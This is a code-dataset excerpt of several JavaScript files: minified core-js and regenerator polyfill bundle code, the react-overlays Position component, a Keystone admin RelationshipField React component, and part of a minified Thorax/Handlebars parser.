D=getDesc(it=toObject(it),key);if(D&&has(AllSymbols,key)&&!(has(it,HIDDEN)&&it[HIDDEN][key]))D.enumerable=true;return D}function getOwnPropertyNames(it){var names=getNames(toObject(it)),result=[],i=0,key;while(names.length>i)if(!has(AllSymbols,key=names[i++])&&key!=HIDDEN)result.push(key);return result}function getOwnPropertySymbols(it){var names=getNames(toObject(it)),result=[],i=0,key;while(names.length>i)if(has(AllSymbols,key=names[i++]))result.push(AllSymbols[key]);return result}if(!useNative){$Symbol=function Symbol(){if(this instanceof $Symbol)throw TypeError("Symbol is not a constructor");return wrap(uid(arguments[0]))};$redef($Symbol.prototype,"toString",function(){return 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sym=require("./$.wks")(it);symbolStatics[it]=useNative?sym:wrap(sym)});setter=true;$def($def.G+$def.W,{Symbol:$Symbol});$def($def.S,"Symbol",symbolStatics);$def($def.S+$def.F*!useNative,"Object",{create:create,defineProperty:defineProperty,defineProperties:defineProperties,getOwnPropertyDescriptor:getOwnPropertyDescriptor,getOwnPropertyNames:getOwnPropertyNames,getOwnPropertySymbols:getOwnPropertySymbols});setTag($Symbol,"Symbol");setTag(Math,"Math",true);setTag($.g.JSON,"JSON",true)},{"./$":24,"./$.assert":5,"./$.cof":7,"./$.def":13,"./$.enum-keys":15,"./$.get-names":18,"./$.keyof":25,"./$.redef":29,"./$.shared":33,"./$.uid":40,"./$.wks":42}],76:[function(require,module,exports){"use strict";var $=require("./$"),weak=require("./$.collection-weak"),leakStore=weak.leakStore,ID=weak.ID,WEAK=weak.WEAK,has=$.has,isObject=$.isObject,isExtensible=Object.isExtensible||isObject,tmp={};var $WeakMap=require("./$.collection")("WeakMap",function(get){return function WeakMap(){return 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$=require("./$"),$def=require("./$.def"),ownKeys=require("./$.own-keys");$def($def.S,"Object",{getOwnPropertyDescriptors:function getOwnPropertyDescriptors(object){var O=$.toObject(object),result={};$.each.call(ownKeys(O),function(key){$.setDesc(result,key,$.desc(0,$.getDesc(O,key)))});return result}})},{"./$":24,"./$.def":13,"./$.own-keys":27}],81:[function(require,module,exports){var $=require("./$"),$def=require("./$.def");function createObjectToArray(isEntries){return function(object){var O=$.toObject(object),keys=$.getKeys(O),length=keys.length,i=0,result=Array(length),key;if(isEntries)while(length>i)result[i]=[key=keys[i++],O[key]];else while(length>i)result[i]=O[keys[i++]];return result}}$def($def.S,"Object",{values:createObjectToArray(false),entries:createObjectToArray(true)})},{"./$":24,"./$.def":13}],82:[function(require,module,exports){var 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$=require("./$"),$def=require("./$.def"),$Array=$.core.Array||Array,statics={};function setStatics(keys,length){$.each.call(keys.split(","),function(key){if(length==undefined&&key in $Array)statics[key]=$Array[key];else if(key in[])statics[key]=require("./$.ctx")(Function.call,[][key],length)})}setStatics("pop,reverse,shift,keys,values,entries",1);setStatics("indexOf,every,some,forEach,map,filter,find,findIndex,includes",3);setStatics("join,slice,concat,push,splice,unshift,sort,lastIndexOf,"+"reduce,reduceRight,copyWithin,fill,turn");$def($def.S,"Array",statics)},{"./$":24,"./$.ctx":12,"./$.def":13}],88:[function(require,module,exports){require("./es6.array.iterator");var $=require("./$"),Iterators=require("./$.iter").Iterators,ITERATOR=require("./$.wks")("iterator"),ArrayValues=Iterators.Array,NL=$.g.NodeList,HTC=$.g.HTMLCollection,NLProto=NL&&NL.prototype,HTCProto=HTC&&HTC.prototype;if($.FW){if(NL&&!(ITERATOR in NLProto))$.hide(NLProto,ITERATOR,ArrayValues);if(HTC&&!(ITERATOR in HTCProto))$.hide(HTCProto,ITERATOR,ArrayValues)}Iterators.NodeList=Iterators.HTMLCollection=ArrayValues},{"./$":24,"./$.iter":23,"./$.wks":42,"./es6.array.iterator":49}],89:[function(require,module,exports){var $def=require("./$.def"),$task=require("./$.task");$def($def.G+$def.B,{setImmediate:$task.set,clearImmediate:$task.clear})},{"./$.def":13,"./$.task":38}],90:[function(require,module,exports){var $=require("./$"),$def=require("./$.def"),invoke=require("./$.invoke"),partial=require("./$.partial"),navigator=$.g.navigator,MSIE=!!navigator&&/MSIE .\./.test(navigator.userAgent);function wrap(set){return MSIE?function(fn,time){return set(invoke(partial,[].slice.call(arguments,2),$.isFunction(fn)?fn:Function(fn)),time)}:set}$def($def.G+$def.B+$def.F*MSIE,{setTimeout:wrap($.g.setTimeout),setInterval:wrap($.g.setInterval)})},{"./$":24,"./$.def":13,"./$.invoke":19,"./$.partial":28}],91:[function(require,module,exports){require("./modules/es5");require("./modules/es6.symbol");require("./modules/es6.object.assign");require("./modules/es6.object.is");require("./modules/es6.object.set-prototype-of");require("./modules/es6.object.to-string");require("./modules/es6.object.statics-accept-primitives");require("./modules/es6.function.name");require("./modules/es6.function.has-instance");require("./modules/es6.number.constructor");require("./modules/es6.number.statics");require("./modules/es6.math");require("./modules/es6.string.from-code-point");require("./modules/es6.string.raw");require("./modules/es6.string.iterator");require("./modules/es6.string.code-point-at");require("./modules/es6.string.ends-with");require("./modules/es6.string.includes");require("./modules/es6.string.repeat");require("./modules/es6.string.starts-with");require("./modules/es6.array.from");require("./modules/es6.array.of");require("./modules/es6.array.iterator");require("./modules/es6.array.species");require("./modules/es6.array.copy-within");require("./modules/es6.array.fill");require("./modules/es6.array.find");require("./modules/es6.array.find-index");require("./modules/es6.regexp");require("./modules/es6.promise");require("./modules/es6.map");require("./modules/es6.set");require("./modules/es6.weak-map");require("./modules/es6.weak-set");require("./modules/es6.reflect");require("./modules/es7.array.includes");require("./modules/es7.string.at");require("./modules/es7.string.lpad");require("./modules/es7.string.rpad");require("./modules/es7.regexp.escape");require("./modules/es7.object.get-own-property-descriptors");require("./modules/es7.object.to-array");require("./modules/es7.map.to-json");require("./modules/es7.set.to-json");require("./modules/js.array.statics");require("./modules/web.timers");require("./modules/web.immediate");require("./modules/web.dom.iterable");module.exports=require("./modules/$").core},{"./modules/$":24,"./modules/es5":43,"./modules/es6.array.copy-within":44,"./modules/es6.array.fill":45,"./modules/es6.array.find":47,"./modules/es6.array.find-index":46,"./modules/es6.array.from":48,"./modules/es6.array.iterator":49,"./modules/es6.array.of":50,"./modules/es6.array.species":51,"./modules/es6.function.has-instance":52,"./modules/es6.function.name":53,"./modules/es6.map":54,"./modules/es6.math":55,"./modules/es6.number.constructor":56,"./modules/es6.number.statics":57,"./modules/es6.object.assign":58,"./modules/es6.object.is":59,"./modules/es6.object.set-prototype-of":60,"./modules/es6.object.statics-accept-primitives":61,"./modules/es6.object.to-string":62,"./modules/es6.promise":63,"./modules/es6.reflect":64,"./modules/es6.regexp":65,"./modules/es6.set":66,"./modules/es6.string.code-point-at":67,"./modules/es6.string.ends-with":68,"./modules/es6.string.from-code-point":69,"./modules/es6.string.includes":70,"./modules/es6.string.iterator":71,"./modules/es6.string.raw":72,"./modules/es6.string.repeat":73,"./modules/es6.string.starts-with":74,"./modules/es6.symbol":75,"./modules/es6.weak-map":76,"./modules/es6.weak-set":77,"./modules/es7.array.includes":78,"./modules/es7.map.to-json":79,"./modules/es7.object.get-own-property-descriptors":80,"./modules/es7.object.to-array":81,"./modules/es7.regexp.escape":82,"./modules/es7.set.to-json":83,"./modules/es7.string.at":84,"./modules/es7.string.lpad":85,"./modules/es7.string.rpad":86,"./modules/js.array.statics":87,"./modules/web.dom.iterable":88,"./modules/web.immediate":89,"./modules/web.timers":90}],92:[function(require,module,exports){(function(process,global){!function(global){"use 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makeInvokeMethod(innerFn,self,context){var state=GenStateSuspendedStart;return function invoke(method,arg){if(state===GenStateExecuting){throw new Error("Generator is already running")}if(state===GenStateCompleted){if(method==="throw"){throw arg}return doneResult()}while(true){var delegate=context.delegate;if(delegate){if(method==="return"||method==="throw"&&delegate.iterator[method]===undefined){context.delegate=null;var returnMethod=delegate.iterator["return"];if(returnMethod){var record=tryCatch(returnMethod,delegate.iterator,arg);if(record.type==="throw"){method="throw";arg=record.arg;continue}}if(method==="return"){continue}}var record=tryCatch(delegate.iterator[method],delegate.iterator,arg);if(record.type==="throw"){context.delegate=null;method="throw";arg=record.arg;continue}method="next";arg=undefined;var info=record.arg;if(info.done){context[delegate.resultName]=info.value;context.next=delegate.nextLoc}else{state=GenStateSuspendedYield;return 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locs){entry.finallyLoc=locs[2];entry.afterLoc=locs[3]}this.tryEntries.push(entry)}function resetTryEntry(entry){var record=entry.completion||{};record.type="normal";delete record.arg;entry.completion=record}function Context(tryLocsList){this.tryEntries=[{tryLoc:"root"}];tryLocsList.forEach(pushTryEntry,this);this.reset(true)}runtime.keys=function(object){var keys=[];for(var key in object){keys.push(key)}keys.reverse();return function next(){while(keys.length){var key=keys.pop();if(key in object){next.value=key;next.done=false;return next}}next.done=true;return next}};function values(iterable){if(iterable){var iteratorMethod=iterable[iteratorSymbol];if(iteratorMethod){return iteratorMethod.call(iterable)}if(typeof iterable.next==="function"){return iterable}if(!isNaN(iterable.length)){var i=-1,next=function next(){while(++i<iterable.length){if(hasOwn.call(iterable,i)){next.value=iterable[i];next.done=false;return next}}next.value=undefined;next.done=true;return next};return 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ContinueSentinel},complete:function(record,afterLoc){if(record.type==="throw"){throw record.arg}if(record.type==="break"||record.type==="continue"){this.next=record.arg}else if(record.type==="return"){this.rval=record.arg;this.next="end"}else if(record.type==="normal"&&afterLoc){this.next=afterLoc}},finish:function(finallyLoc){for(var i=this.tryEntries.length-1;i>=0;--i){var entry=this.tryEntries[i];if(entry.finallyLoc===finallyLoc){this.complete(entry.completion,entry.afterLoc);resetTryEntry(entry);return ContinueSentinel}}},"catch":function(tryLoc){for(var i=this.tryEntries.length-1;i>=0;--i){var entry=this.tryEntries[i];if(entry.tryLoc===tryLoc){var record=entry.completion;if(record.type==="throw"){var thrown=record.arg;resetTryEntry(entry)}return thrown}}throw new Error("illegal catch attempt")},delegateYield:function(iterable,resultName,nextLoc){this.delegate={iterator:values(iterable),resultName:resultName,nextLoc:nextLoc};return ContinueSentinel}}}(typeof global==="object"?global:typeof window==="object"?window:typeof self==="object"?self:this)}).call(this,require("_process"),typeof global!=="undefined"?global:typeof self!=="undefined"?self:typeof window!=="undefined"?window:{})},{_process:1}]},{},[2]);
|
node_modules/react-overlays/lib/Position.js
|
NathanBWaters/website
|
'use strict';
exports.__esModule = true;
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var _react = require('react');
var _react2 = _interopRequireDefault(_react);
var _reactDom = require('react-dom');
var _reactDom2 = _interopRequireDefault(_reactDom);
var _classnames = require('classnames');
var _classnames2 = _interopRequireDefault(_classnames);
var _utilsOwnerDocument = require('./utils/ownerDocument');
var _utilsOwnerDocument2 = _interopRequireDefault(_utilsOwnerDocument);
var _utilsGetContainer = require('./utils/getContainer');
var _utilsGetContainer2 = _interopRequireDefault(_utilsGetContainer);
var _utilsOverlayPositionUtils = require('./utils/overlayPositionUtils');
var _reactPropTypesLibMountable = require('react-prop-types/lib/mountable');
var _reactPropTypesLibMountable2 = _interopRequireDefault(_reactPropTypesLibMountable);
/**
* The Position component calculates the coordinates for its child, to
* position it relative to a `target` component or node. Useful for creating callouts and tooltips,
* the Position component injects a `style` props with `left` and `top` values for positioning your component.
*
* It also injects "arrow" `left`, and `top` values for styling callout arrows for giving your components
* a sense of directionality.
*/
var Position = (function (_React$Component) {
_inherits(Position, _React$Component);
function Position(props, context) {
_classCallCheck(this, Position);
_React$Component.call(this, props, context);
this.state = {
positionLeft: 0,
positionTop: 0,
arrowOffsetLeft: null,
arrowOffsetTop: null
};
this._needsFlush = false;
this._lastTarget = null;
}
Position.prototype.componentDidMount = function componentDidMount() {
this.updatePosition();
};
Position.prototype.componentWillReceiveProps = function componentWillReceiveProps() {
this._needsFlush = true;
};
Position.prototype.componentDidUpdate = function componentDidUpdate(prevProps) {
if (this._needsFlush) {
this._needsFlush = false;
this.updatePosition(prevProps.placement !== this.props.placement);
}
};
Position.prototype.componentWillUnmount = function componentWillUnmount() {
// Probably not necessary, but just in case holding a reference to the
// target causes problems somewhere.
this._lastTarget = null;
};
Position.prototype.render = function render() {
var _props = this.props;
var children = _props.children;
var className = _props.className;
var props = _objectWithoutProperties(_props, ['children', 'className']);
var _state = this.state;
var positionLeft = _state.positionLeft;
var positionTop = _state.positionTop;
var arrowPosition = _objectWithoutProperties(_state, ['positionLeft', 'positionTop']);
// These should not be forwarded to the child.
delete props.target;
delete props.container;
delete props.containerPadding;
var child = _react2['default'].Children.only(children);
return _react.cloneElement(child, _extends({}, props, arrowPosition, {
//do we need to also forward positionLeft and positionTop if they are set to style?
positionLeft: positionLeft,
positionTop: positionTop,
className: _classnames2['default'](className, child.props.className),
style: _extends({}, child.props.style, {
left: positionLeft,
top: positionTop
})
}));
};
Position.prototype.getTargetSafe = function getTargetSafe() {
if (!this.props.target) {
return null;
}
var target = this.props.target(this.props);
if (!target) {
// This is so we can just use === check below on all falsy targets.
return null;
}
return target;
};
Position.prototype.updatePosition = function updatePosition(placementChanged) {
var target = this.getTargetSafe();
if (!this.props.shouldUpdatePosition && target === this._lastTarget && !placementChanged) {
return;
}
this._lastTarget = target;
if (!target) {
this.setState({
positionLeft: 0,
positionTop: 0,
arrowOffsetLeft: null,
arrowOffsetTop: null
});
return;
}
var overlay = _reactDom2['default'].findDOMNode(this);
var container = _utilsGetContainer2['default'](this.props.container, _utilsOwnerDocument2['default'](this).body);
this.setState(_utilsOverlayPositionUtils.calcOverlayPosition(this.props.placement, overlay, target, container, this.props.containerPadding));
};
return Position;
})(_react2['default'].Component);
Position.propTypes = {
/**
* Function mapping props to a DOM node the component is positioned next to
*
*/
target: _react2['default'].PropTypes.func,
/**
* "offsetParent" of the component
*/
container: _react2['default'].PropTypes.oneOfType([_reactPropTypesLibMountable2['default'], _react2['default'].PropTypes.func]),
/**
* Minimum spacing in pixels between container border and component border
*/
containerPadding: _react2['default'].PropTypes.number,
/**
* How to position the component relative to the target
*/
placement: _react2['default'].PropTypes.oneOf(['top', 'right', 'bottom', 'left']),
/**
* Whether the position should be changed on each update
*/
shouldUpdatePosition: _react2['default'].PropTypes.bool
};
Position.displayName = 'Position';
Position.defaultProps = {
containerPadding: 0,
placement: 'right',
shouldUpdatePosition: false
};
exports['default'] = Position;
module.exports = exports['default'];
|
fields/types/relationship/RelationshipField.js
|
pswoodworth/keystone
|
import async from 'async';
import Lists from '../../../admin/client/stores/Lists';
import Field from '../Field';
import React from 'react';
import Select from 'react-select';
import xhr from 'xhr';
import { Button, InputGroup } from 'elemental';
function compareValues (current, next) {
const currentLength = current ? current.length : 0;
const nextLength = next ? next.length : 0;
if (currentLength !== nextLength) return false;
for (let i = 0; i < currentLength; i++) {
if (current[i] !== next[i]) return false;
}
return true;
}
module.exports = Field.create({
displayName: 'RelationshipField',
getInitialState () {
return {
value: null,
createIsOpen: false,
};
},
componentDidMount () {
this._itemsCache = {};
this.loadValue(this.props.value);
},
componentWillReceiveProps (nextProps) {
if (nextProps.value === this.props.value || nextProps.many && compareValues(this.props.value, nextProps.value)) return;
this.loadValue(nextProps.value);
},
shouldCollapse () {
if (this.props.many) {
// many:true relationships have an Array for a value
return this.props.collapse && !this.props.value.length;
}
return this.props.collapse && !this.props.value;
},
buildFilters () {
var filters = {};
_.forEach(this.props.filters, (value, key) => {
if (_.isString(value) && value[0] == ':') { // eslint-disable-line eqeqeq
var fieldName = value.slice(1);
var val = this.props.values[fieldName];
if (val) {
filters[key] = val;
return;
}
// check if filtering by id and item was already saved
if (fieldName === ':_id' && Keystone.item) {
filters[key] = Keystone.item.id;
return;
}
} else {
filters[key] = value;
}
}, this);
var parts = [];
_.forEach(filters, function (val, key) {
parts.push('filters[' + key + '][value]=' + encodeURIComponent(val));
});
return parts.join('&');
},
cacheItem (item) {
item.href = Keystone.adminPath + '/' + this.props.refList.path + '/' + item.id;
this._itemsCache[item.id] = item;
},
loadValue (values) {
if (!values) {
return this.setState({
loading: false,
value: null,
});
};
values = Array.isArray(values) ? values : values.split(',');
const cachedValues = values.map(i => this._itemsCache[i]).filter(i => i);
if (cachedValues.length === values.length) {
this.setState({
loading: false,
value: this.props.many ? cachedValues : cachedValues[0],
});
return;
}
this.setState({
loading: true,
value: null,
});
async.map(values, (value, done) => {
xhr({
url: Keystone.adminPath + '/api/' + this.props.refList.path + '/' + value + '?basic',
responseType: 'json',
}, (err, resp, data) => {
if (err || !data) return done(err);
this.cacheItem(data);
done(err, data);
});
}, (err, expanded) => {
if (!this.isMounted()) return;
this.setState({
loading: false,
value: this.props.many ? expanded : expanded[0],
});
});
},
// NOTE: this seems like the wrong way to add options to the Select
loadOptionsCallback: {},
loadOptions (input, callback) {
// NOTE: this seems like the wrong way to add options to the Select
this.loadOptionsCallback = callback;
const filters = this.buildFilters();
xhr({
url: Keystone.adminPath + '/api/' + this.props.refList.path + '?basic&search=' + input + '&' + filters,
responseType: 'json',
}, (err, resp, data) => {
if (err) {
console.error('Error loading items:', err);
return callback(null, []);
}
data.results.forEach(this.cacheItem);
callback(null, {
options: data.results,
complete: data.results.length === data.count,
});
});
},
valueChanged (value) {
this.props.onChange({
path: this.props.path,
value: value,
});
},
toggleCreate (visible) {
this.setState({
createIsOpen: visible,
});
},
onCreate (item) {
this.cacheItem(item);
if (Array.isArray(this.state.value)) {
// For many relationships, append the new item to the end
const values = this.state.value.map((item) => item.id);
values.push(item.id);
this.valueChanged(values.join(','));
} else {
this.valueChanged(item.id);
}
// NOTE: this seems like the wrong way to add options to the Select
this.loadOptionsCallback(null, {
complete: true,
options: Object.keys(this._itemsCache).map((k) => this._itemsCache[k]),
});
this.toggleCreate(false);
},
renderSelect (noedit) {
return (
<Select.Async
multi={this.props.many}
disabled={noedit}
loadOptions={this.loadOptions}
labelKey="name"
name={this.props.path}
onChange={this.valueChanged}
simpleValue
value={this.state.value}
valueKey="id"
/>
);
},
renderInputGroup () {
// TODO: find better solution
// when importing the CreateForm using: import CreateForm from '../../../admin/client/components/CreateForm';
// CreateForm was imported as a blank object. This stack overflow post suggested lazilly requiring it:
// http://stackoverflow.com/questions/29807664/cyclic-dependency-returns-empty-object-in-react-native
const CreateForm = require('../../../admin/client/components/Forms/CreateForm');
return (
<InputGroup>
<InputGroup.Section grow>
{this.renderSelect()}
</InputGroup.Section>
<InputGroup.Section>
<Button onClick={() => this.toggleCreate(true)} type="success">+</Button>
</InputGroup.Section>
<CreateForm
list={Lists[this.props.refList.key]}
isOpen={this.state.createIsOpen}
onCreate={(data) => this.onCreate(data)}
onCancel={() => this.toggleCreate(false)} />
</InputGroup>
);
},
renderValue () {
return this.renderSelect(true);
},
renderField () {
if (this.props.createInline) {
return this.renderInputGroup();
} else {
return this.renderSelect();
}
},
});
|
ajax/libs/thorax/2.0.0rc1/thorax.min.js
|
matt-h/cdnjs
|
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43:this.$=[o[a]]}},table:[{3:1,4:2,5:[2,4],6:3,8:4,9:5,11:6,12:7,13:8,14:[1,9],15:[1,10],16:[1,12],19:[1,11],22:[1,13],23:[1,14],24:[1,15]},{1:[3]},{5:[1,16]},{5:[2,3],7:17,8:18,9:5,11:6,12:7,13:8,14:[1,9],15:[1,10],16:[1,12],19:[1,19],20:[2,3],22:[1,13],23:[1,14],24:[1,15]},{5:[2,5],14:[2,5],15:[2,5],16:[2,5],19:[2,5],20:[2,5],22:[2,5],23:[2,5],24:[2,5]},{4:20,6:3,8:4,9:5,11:6,12:7,13:8,14:[1,9],15:[1,10],16:[1,12],19:[1,11],20:[2,4],22:[1,13],23:[1,14],24:[1,15]},{4:21,6:3,8:4,9:5,11:6,12:7,13:8,14:[1,9],15:[1,10],16:[1,12],19:[1,11],20:[2,4],22:[1,13],23:[1,14],24:[1,15]},{5:[2,9],14:[2,9],15:[2,9],16:[2,9],19:[2,9],20:[2,9],22:[2,9],23:[2,9],24:[2,9]},{5:[2,10],14:[2,10],15:[2,10],16:[2,10],19:[2,10],20:[2,10],22:[2,10],23:[2,10],24:[2,10]},{5:[2,11],14:[2,11],15:[2,11],16:[2,11],19:[2,11],20:[2,11],22:[2,11],23:[2,11],24:[2,11]},{5:[2,12],14:[2,12],15:[2,12],16:[2,12],19:[2,12],20:[2,12],22:[2,12],23:[2,12],24:[2,12]},{17:22,21:23,27:[1,24],34:[1,26],36:25},{17:27,21:23,27:[1,24],34:[1,26],36:25},{17:28,21:23,27:[1,24],34:[1,26],36:25},{17:29,21:23,27:[1,24],34:[1,26],36:25},{21:30,34:[1,26],36:25},{1:[2,1]},{6:31,8:4,9:5,11:6,12:7,13:8,14:[1,9],15:[1,10],16:[1,12],19:[1,11],22:[1,13],23:[1,14],24:[1,15]},{5:[2,6],14:[2,6],15:[2,6],16:[2,6],19:[2,6],20:[2,6],22:[2,6],23:[2,6],24:[2,6]},{17:22,18:[1,32],21:23,27:[1,24],34:[1,26],36:25},{10:33,20:[1,34]},{10:35,20:[1,34]},{18:[1,36]},{18:[2,24],21:41,25:37,26:38,27:[1,45],28:39,29:[1,42],30:[1,43],31:[1,44],32:40,33:46,34:[1,47],36:25},{18:[2,25]},{18:[2,41],27:[2,41],29:[2,41],30:[2,41],31:[2,41],34:[2,41],37:[1,48]},{18:[2,43],27:[2,43],29:[2,43],30:[2,43],31:[2,43],34:[2,43],37:[2,43]},{18:[1,49]},{18:[1,50]},{18:[1,51]},{18:[1,52],21:53,34:[1,26],36:25},{5:[2,2],8:18,9:5,11:6,12:7,13:8,14:[1,9],15:[1,10],16:[1,12],19:[1,11],20:[2,2],22:[1,13],23:[1,14],24:[1,15]},{14:[2,20],15:[2,20],16:[2,20],19:[2,20],22:[2,20],23:[2,20],24:[2,20]},{5:[2,7],14:[2,7],15:[2,7],16:[2,7],19:[2,7],20:[2,7],22:[2,7],23:[2,7],24:[2,7]},{21:54,34:[1,26],36:25},{5:[2,8],14:[2,8],15:[2,8],16:[2,8],19:[2,8],20:[2,8],22:[2,8],23:[2,8],24:[2,8]},{14:[2,14],15:[2,14],16:[2,14],19:[2,14],20:[2,14],22:[2,14],23:[2,14],24:[2,14]},{18:[2,22],21:41,26:55,27:[1,45],28:56,29:[1,42],30:[1,43],31:[1,44],32:40,33:46,34:[1,47],36:25},{18:[2,23]},{18:[2,27],27:[2,27],29:[2,27],30:[2,27],31:[2,27],34:[2,27]},{18:[2,33],33:57,34:[1,58]},{18:[2,28],27:[2,28],29:[2,28],30:[2,28],31:[2,28],34:[2,28]},{18:[2,29],27:[2,29],29:[2,29],30:[2,29],31:[2,29],34:[2,29]},{18:[2,30],27:[2,30],29:[2,30],30:[2,30],31:[2,30],34:[2,30]},{18:[2,31],27:[2,31],29:[2,31],30:[2,31],31:[2,31],34:[2,31]},{18:[2,32],27:[2,32],29:[2,32],30:[2,32],31:[2,32],34:[2,32]},{18:[2,35],34:[2,35]},{18:[2,43],27:[2,43],29:[2,43],30:[2,43],31:[2,43],34:[2,43],35:[1,59],37:[2,43]},{34:[1,60]},{14:[2,13],15:[2,13],16:[2,13],19:[2,13],20:[2,13],22:[2,13],23:[2,13],24:[2,13]},{5:[2,16],14:[2,16],15:[2,16],16:[2,16],19:[2,16],20:[2,16],22:[2,16],23:[2,16],24:[2,16]},{5:[2,17],14:[2,17],15:[2,17],16:[2,17],19:[2,17],20:[2,17],22:[2,17],23:[2,17],24:[2,17]},{5:[2,18],14:[2,18],15:[2,18],16:[2,18],19:[2,18],20:[2,18],22:[2,18],23:[2,18],24:[2,18]},{18:[1,61]},{18:[1,62]},{18:[2,21]},{18:[2,26],27:[2,26],29:[2,26],30:[2,26],31:[2,26],34:[2,26]},{18:[2,34],34:[2,34]},{35:[1,59]},{21:63,27:[1,67],29:[1,64],30:[1,65],31:[1,66],34:[1,26],36:25},{18:[2,42],27:[2,42],29:[2,42],30:[2,42],31:[2,42],34:[2,42],37:[2,42]},{5:[2,19],14:[2,19],15:[2,19],16:[2,19],19:[2,19],20:[2,19],22:[2,19],23:[2,19],24:[2,19]},{5:[2,15],14:[2,15],15:[2,15],16:[2,15],19:[2,15],20:[2,15],22:[2,15],23:[2,15],24:[2,15]},{18:[2,36],34:[2,36]},{18:[2,37],34:[2,37]},{18:[2,38],34:[2,38]},{18:[2,39],34:[2,39]},{18:[2,40],34:[2,40]}],defaultActions:{16:[2,1],24:[2,25],38:[2,23],55:[2,21]},parseError:function(t,n){throw new Error(t)},parse:function(t){function v(e){r.length=r.length-2*e,i.length=i.length-e,s.length=s.length-e}function m(){var e;return e=n.lexer.lex()||1,typeof e!="number"&&(e=n.symbols_[e]||e),e}var n=this,r=[0],i=[null],s=[],o=this.table,u="",a=0,f=0,l=0,c=2,h=1;this.lexer.setInput(t),this.lexer.yy=this.yy,this.yy.lexer=this.lexer,this.yy.parser=this,typeof this.lexer.yylloc=="undefined"&&(this.lexer.yylloc={});var p=this.lexer.yylloc;s.push(p);var d=this.lexer.options&&this.lexer.options.ranges;typeof this.yy.parseError=="function"&&(this.parseError=this.yy.parseError);var g,y,b,w,E,S,x={},T,N,C,k;for(;;){b=r[r.length-1];if(this.defaultActions[b])w=this.defaultActions[b];else{if(g===null||typeof g=="undefined")g=m();w=o[b]&&o[b][g]}if(typeof w=="undefined"||!w.length||!w[0]){var L="";if(!l){k=[];for(T in o[b])this.terminals_[T]&&T>2&&k.push("'"+this.terminals_[T]+"'");this.lexer.showPosition?L="Parse error on line "+(a+1)+":\n"+this.lexer.showPosition()+"\nExpecting "+k.join(", ")+", got '"+(this.terminals_[g]||g)+"'":L="Parse error on line "+(a+1)+": Unexpected "+(g==1?"end of input":"'"+(this.terminals_[g]||g)+"'"),this.parseError(L,{text:this.lexer.match,token:this.terminals_[g]||g,line:this.lexer.yylineno,loc:p,expected:k})}}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+b+", token: "+g);switch(w[0]){case 1:r.push(g),i.push(this.lexer.yytext),s.push(this.lexer.yylloc),r.push(w[1]),g=null,y?(g=y,y=null):(f=this.lexer.yyleng,u=this.lexer.yytext,a=this.lexer.yylineno,p=this.lexer.yylloc,l>0&&l--);break;case 2:N=this.productions_[w[1]][1],x.$=i[i.length-N],x._$={first_line:s[s.length-(N||1)].first_line,last_line:s[s.length-1].last_line,first_column:s[s.length-(N||1)].first_column,last_column:s[s.length-1].last_column},d&&(x._$.range=[s[s.length-(N||1)].range[0],s[s.length-1].range[1]]),S=this.performAction.call(x,u,f,a,this.yy,w[1],i,s);if(typeof S!="undefined")return S;N&&(r=r.slice(0,-1*N*2),i=i.slice(0,-1*N),s=s.slice(0,-1*N)),r.push(this.productions_[w[1]][0]),i.push(x.$),s.push(x._$),C=o[r[r.length-2]][r[r.length-1]],r.push(C);break;case 3:return!0}}return!0}},t=function(){var e={EOF:1,parseError:function(t,n){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,n)},setInput:function(e){return this._input=e,this._more=this._less=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var e=this._input[0];this.yytext+=e,this.yyleng++,this.offset++,this.match+=e,this.matched+=e;var t=e.match(/(?:\r\n?|\n).*/g);return t?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),e},unput:function(e){var t=e.length,n=e.split(/(?:\r\n?|\n)/g);this._input=e+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-t-1),this.offset-=t;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-t},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-t]),this},more:function(){return this._more=!0,this},less:function(e){this.unput(this.match.slice(e))},pastInput:function(){var e=this.matched.substr(0,this.matched.length-this.match.length);return(e.length>20?"...":"")+e.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var e=this.match;return e.length<20&&(e+=this._input.substr(0,20-e.length)),(e.substr(0,20)+(e.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var e=this.pastInput(),t=(new Array(e.length+1)).join("-");return e+this.upcomingInput()+"\n"+t+"^"},next:function(){if(this.done)return this.EOF;this._input||(this.done=!0);var e,t,n,r,i,s;this._more||(this.yytext="",this.match="");var o=this._currentRules();for(var 